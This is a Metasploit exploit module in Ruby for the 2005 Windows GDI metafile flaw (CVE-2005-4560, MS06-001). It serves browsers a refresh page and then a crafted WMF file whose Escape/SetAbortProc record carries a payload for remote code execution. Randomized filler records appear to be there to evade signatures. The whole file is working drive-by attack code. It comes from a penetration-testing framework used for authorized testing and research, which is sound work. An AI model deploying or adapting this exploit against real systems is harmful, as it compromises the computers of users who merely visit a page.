##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Windows XP/2003/Vista Metafile Escape() SetAbortProc Code Execution',
      'Description'    => %q{
          This module exploits a vulnerability in the GDI library included with
        Windows XP and 2003. This vulnerability uses the 'Escape' metafile function
        to execute arbitrary code through the SetAbortProc procedure. This module
        generates a random WMF record stream for each request.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'hdm',
          'san <san[at]xfocus.org>',
          'O600KO78RUS@unknown.ru',
        ],
      'References'     =>
        [
          ['CVE', '2005-4560'],
          ['OSVDB', '21987'],
          ['MSB', 'MS06-001'],
          ['BID', '16074'],
          ['URL', 'http://wvware.sourceforge.net/caolan/ora-wmf.html']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Payload'        =>
        {
          'Space'    => 1000 + (rand(256).to_i * 4),
          'BadChars' => "\x00",
          'Compat'   =>
            {
              'ConnectionType' => '-find',
            },
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP/2003/Vista Automatic', { }],
        ],
      'DisclosureDate' => '2005-12-27',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)

    ext = 'wmf'

    if (not request.uri.match(/\.wmf$/i))
      if ("/" == get_resource[-1,1])
        wmf_uri = get_resource[0, get_resource.length - 1]
      else
        wmf_uri = get_resource
      end
      wmf_uri << "/" + rand_text_alphanumeric(rand(80)+16) + "." + ext

      html = "<html><meta http-equiv='refresh' content='0; " +
        "URL=#{wmf_uri}'><body>One second please...</body></html>"
      send_response_html(cli, html)
      return
    end

    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    print_status("Sending #{self.name}")

    # Transmit the compressed response to the client
    send_response(cli, generate_metafile(p), { 'Content-Type' => 'text/plain' })

    # Handle the payload
    handler(cli)
  end

  def generate_metafile(payload)

    # Minimal length values before and after the Escape record
    pre_mlen = 1440 + rand(8192)
    suf_mlen = 128  + rand(8192)

    # Track the number of generated records
    fill = 0

    # The prefix and suffix buffers
    pre_buff = ''
    suf_buff = ''

    # Generate the prefix
    while (pre_buff.length < pre_mlen)
      pre_buff << generate_record()
      fill += 1
    end

    # Generate the suffix
    while (suf_buff.length < suf_mlen)
      suf_buff << generate_record()
      fill += 1
    end

    clen = 18 + 8 + 6 + payload.encoded.length + pre_buff.length + suf_buff.length
    data =
      #
      # WindowsMetaHeader
      #
      [
        # WORD  FileType;       /* Type of metafile (1=memory, 2=disk) */
        rand(2)+1,
        # WORD  HeaderSize;     /* Size of header in WORDS (always 9) */
        9,
        # WORD  Version;        /* Version of Microsoft Windows used */
        ( rand(2).to_i == 1 ? 0x0300 : 0x0100 ),
        # DWORD FileSize;       /* Total size of the metafile in WORDs */
        clen/2,
        # WORD  NumOfObjects;   /* Number of objects in the file */
        rand(0xffff),
        # DWORD MaxRecordSize;  /* The size of largest record in WORDs */
        rand(0xffffffff),
        # WORD  NumOfParams;    /* Not Used (always 0) */
        rand(0xffff),
      ].pack('vvvVvVv') +
      #
      # Filler data
      #
      pre_buff +
      #
      # StandardMetaRecord - Escape()
      #
      [
        # DWORD Size;          /* Total size of the record in WORDs */
        4,
        # WORD  Function;      /* Function number (defined in WINDOWS.H) */
        (rand(256).to_i << 8) + 0x26,
        # WORD  Parameters[];  /* Parameter values passed to function */
        9,
      ].pack('Vvv') + payload.encoded +
      #
      # Filler data
      #
      suf_buff +
      #
      # Complete the stream
      #
      [3, 0].pack('Vv') +
      #
      # Some extra fun padding
      #
      rand_text(rand(16384)+1024)

    return data

  end

  def generate_record
    type = rand(3)

    case type
      when 0
        # CreatePenIndirect
        return [8, 0x02fa].pack('Vv') + rand_text(10)
      when 1
        # CreateBrushIndirect
        return [7, 0x02fc].pack('Vv') + rand_text(8)
      else
        # Rectangle
        return [7, 0x041b].pack('Vv') + rand_text(8)
    end
  end
end
